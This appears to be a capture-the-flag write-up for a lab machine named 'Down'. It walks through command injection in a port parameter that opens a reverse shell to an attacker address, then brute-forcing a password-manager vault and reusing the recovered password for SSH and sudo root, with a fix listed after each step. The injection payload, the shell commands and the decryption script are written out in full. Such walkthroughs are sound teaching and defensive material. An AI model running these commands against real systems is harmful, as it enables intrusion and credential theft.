Down
Summary
I discovered an 'Is It Down or Just Me?' web checker on Apache whose TCP expert-mode handler concatenated a user-supplied port value directly into a shell command, enabling unauthenticated OS command injection and an immediate reverse shell as the web-server account (www-data). From that foothold, an encrypted password-manager vault belonging to local user aleks was readable by the web-server process; its master password was brute-forced in seconds from a short wordlist of words drawn from the application page and hostname, exposing aleks's SSH credential in plaintext.
That same credential was accepted by sudo with no further controls, granting root access to the host without any additional exploitation.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <pswm_file_contents> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Banner-grab services; confirms Apache 2.4.52 and OpenSSH 8.9p1.
$ nmap -sV -sC -p 22,80 $TARGETRetrieve the home page to understand application functionality.
$ curl -s http://$TARGET/Confirm the TCP expert-mode endpoint and document its input parameters.
$ curl -s "http://$TARGET/index.php?expertmode=tcp"Exact commands 1
Proof-of-concept; run nc -lvnp 1337 first. Replace $ATTACKER_IP with your tun0 address. A curl timeout is expected — the shell still connects.
$ curl -sS -X POST --data-urlencode "ip=$ATTACKER_IP" --data-urlencode 'port=1337 -e /bin/bash' "http://$TARGET/index.php?expertmode=tcp"FixEliminate OS command injection in the TCP expert-mode connectivity handlerCritical
Exact commands 3
Start the catch listener on my machine before firing the injection.
$ nc -lvnp 1337Fire the injection; expect a curl timeout — check the listener for the shell.
$ curl -sS --max-time 4 -X POST --data-urlencode "ip=$ATTACKER_IP" --data-urlencode 'port=1337 -e /bin/bash' "http://$TARGET/index.php?expertmode=tcp"Inside the raw shell — spawns a PTY. Follow with Ctrl-Z, then: stty raw -echo; fg
$ python3 -c 'import pty; pty.spawn("/bin/bash")'Exact commands 3
From the www-data shell — identify local users and their home directories.
$ ls -la /home/Locate the password-manager vault file.
$ find /home/aleks -name 'pswm' 2>/dev/nullRead the encrypted vault; copy the output to my machine for offline decryption.
$ cat /home/aleks/.local/share/pswm/pswmFixRestrict file permissions on user credential stores so the web-server account cannot read themHigh
Exact commands 2
Create an isolated environment with the cryptocode library (system pip may be managed).
$ python3 -m venv cryptovenv && cryptovenv/bin/pip install -q cryptocodeReplace <pswm_file_contents> with the raw vault text. Extend the word list as needed.
$ cryptovenv/bin/python3 - <<PY
import cryptocode
blob = '<pswm_file_contents>'
for pw in ["$PASSWORD2", 'down', 'isitdown', 'password', 'pswm']:
result = cryptocode.decrypt(blob, pw)
if result:
print(f'{pw} => {result}')
PYFixUse a strong, random master password for the password manager unrelated to the application or hostnameHigh
Exact commands 2
Confirm the credential grants SSH access.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no aleks@$TARGET 'id'Read the user flag — value is <user.txt>.
$ sshpass -p "$PASSWORD" ssh aleks@$TARGET 'cat /home/aleks/user.txt'Exact commands 2
Confirm sudo accepts the vault password and grants root.
$ sshpass -p "$PASSWORD" ssh -tt aleks@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S id"Capture both flags — values are <root.txt> and <user.txt>.
$ sshpass -p "$PASSWORD" ssh -tt aleks@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S sh -c 'cat /root/root.txt; cat /home/aleks/user.txt'"FixEnforce a unique sudo credential; never reuse account passwords for privilege escalationCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.